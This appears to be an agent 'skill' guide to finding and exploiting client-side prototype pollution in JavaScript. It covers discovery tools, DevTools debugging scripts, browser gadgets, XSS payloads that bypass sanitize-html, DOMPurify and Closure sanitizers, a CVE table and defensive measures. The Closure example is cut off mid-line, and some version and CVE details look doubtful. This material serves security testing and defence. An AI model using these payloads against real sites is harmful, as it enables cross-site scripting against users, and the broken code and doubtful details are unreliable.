Client-Side Prototype Pollution
A skill for discovering, debugging, and exploiting client-side prototype pollution vulnerabilities in JavaScript applications.
When to Use This Skill
Use this skill when:
- The user wants to find prototype pollution vulnerabilities in a web application
- The user needs to debug where a polluted property is being set or accessed
- The user wants to generate payloads for testing prototype pollution
- The user is analyzing JavaScript libraries for pollution sinks
- The user needs to understand how to bypass HTML sanitizers via prototype pollution
- The user mentions
__proto__,constructor.prototype,Object.prototype, or similar patterns
Discovery Methods
Automated Tools
Use these tools to automatically detect prototype pollution:
| Tool | Purpose | Link |
|---|---|---|
| ppfuzz | Fuzzes for prototype pollution | https://github.com/dwisiswant0/ppfuzz |
| ppmap | Maps pollution paths | https://github.com/kleiton0x00/ppmap |
| proto-find | Finds vulnerable code | https://github.com/kosmosec/proto-find |
| PPScan | Browser extension for scanning | https://github.com/msrkp/PPScan |
| Burp DOM Invader | Professional tool with PP tab | Built into Burp Suite v2023.6+ |
| protoStalker | Chrome DevTools plugin (2024) | Visualizes prototype chains |
Manual Discovery
Search for these keywords in Chrome DevTools:
location.hashlocation.searchdecodeURIComponentJSON.parseObject.assign_.merge(lodash)deepMerge
Debugging Prototype Pollution
Break on Property Access
Use this script in Chrome DevTools to find where a property is accessed:
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})
Find Root Cause
- Get a payload from a tool (e.g.,
constructor[prototype][ppmap]=reserved) - Set breakpoint at first line of JS code
- Refresh page with payload
- Run this script in console:
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
- Resume execution and examine the call stack
- Target stacks in library files (not minified app code)
- The first occurrence in the stack is usually the root cause
Finding Gadgets
A gadget is code that gets abused once pollution is discovered.
Search for These Keywords
srcdocinnerHTMLiframecreateElementevalFunctionsetTimeoutsetInterval
Browser-Built-In Gadgets (2023+)
These work on every page in modern browsers:
| Gadget Class | Property | Effect |
|---|---|---|
URL |
href |
JS execution via new URL() |
Notification |
title |
Alert via notification click |
Worker |
name |
JS in dedicated Worker |
Image |
src |
Traditional onerror XSS |
URLSearchParams |
toString |
DOM-based Open Redirect |
Example: URL Gadget
// Pollute the href property
Object.prototype.href = 'javascript:alert(`polluted`)' ;
// Trigger the gadget
new URL('#'); // Executes the polluted href
HTML Sanitizer Bypasses
sanitize-html
// Pollute before sanitizer runs
Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';
DOMPurify
// Pollute before sanitizer runs
Object.prototype.after = '<img/src/onerror=alert(1)>';
Closure Library
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src="https://google.github.io/closure-library/source/closure/goog/base.js"></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<script>
const html = '<img src
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
Payload Generation
Common Payload Patterns
// Basic pollution
__proto__[polluted]=1
constructor[prototype][polluted]=1
// For URL parameters
?__proto__[polluted]=1
?constructor[prototype][polluted]=1
// For JSON input
{"__proto__": {"polluted": 1}}
{"constructor": {"prototype": {"polluted": 1}}}
// For location.hash
#__proto__[polluted]=1
Library-Specific Payloads
lodash < 4.17.22:
__proto__[polluted]=1
jQuery 3.6.0-3.6.3:
// Via location.hash
#__proto__[polluted]=1
DOMPurify ≤ 3.0.8:
__proto__[after]=<img/src/onerror=alert(1)>
Notable CVEs
| CVE | Library | Version | Impact |
|---|---|---|---|
| CVE-2024-45801 | DOMPurify | ≤ 3.0.8 | Stored XSS via after |
| CVE-2023-26136 | jQuery | 3.6.0-3.6.3 | Arbitrary prototype pollution |
| CVE-2023-26140 | jQuery | 3.6.0-3.6.3 | Arbitrary prototype pollution |
| N/A | sanitize-html | < 2.8.1 | XSS via innerHTML |
Defensive Measures
For Developers
Freeze prototypes early:
Object.freeze(Object.prototype); Object.freeze(Array.prototype); Object.freeze(Map.prototype);Use structuredClone() instead of deep merge:
const copy = structuredClone(obj);Use safe merge libraries:
- lodash ≥ 4.17.22
- deepmerge ≥ 5.3.0
Add Content-Security-Policy:
Content-Security-Policy: script-src 'self';
For Security Testers
- Always test with and without the skill to compare results
- Document the exact pollution path (source → sink)
- Verify the gadget actually executes (not just pollution)
- Check for stored vs reflected vs DOM-based vectors
Workflow
- Discover - Use automated tools or manual search
- Debug - Find where pollution occurs using breakpoints
- Identify Gadget - Find code that reads polluted properties
- Generate Payload - Create working exploit
- Verify - Confirm execution (alert, network request, etc.)
- Document - Record the full chain for reporting
References
- PortSwigger Research: https://portswigger.net/research/widespread-prototype-pollution-gadgets
- BlackFan Client-Side PP: https://github.com/BlackFan/client-side-prototype-pollution
- Securitum Research: https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/
- Snyk DOMPurify CVE: https://snyk.io/blog/dompurify-prototype-pollution-bypass-cve-2024-45801/